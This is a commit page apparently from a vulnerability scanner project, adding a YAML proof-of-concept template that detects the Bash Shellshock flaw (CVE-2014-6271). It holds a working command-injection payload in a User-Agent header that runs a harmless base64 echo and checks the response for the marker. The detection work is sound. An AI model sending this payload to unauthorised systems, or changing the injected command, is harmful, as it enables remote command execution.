add poc of bash-cve-2014-6271 (chaitin#399)

* add poc of bash-cve-2014-6271 * modify echo words * fix for yamllint * modify payload with use of base64 * remove status code check * add links
r3aker · Sep 5, 2019 · a019e1d · a019e1d
1 parent ae5f945
commit a019e1d
Showing 1 changed file with 11 additions and 0 deletions.
diff --git a/pocs/bash-cve-2014-6271.yml b/pocs/bash-cve-2014-6271.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-bash-cve-2014-6271
+rules:
+  - method: GET
+    headers:
+      User-Agent: "() { :; }; echo; echo; /bin/bash -c 'echo helloworld2019 | base64'"
+    follow_redirects: false
+    expression: body.bcontains(b'aGVsbG93b3JsZDIwMTkK')
+detail:
+  author: neal1991(https://github.com/neal1991)
+  links:
+    - https://github.com/opsxcq/exploit-CVE-2014-6271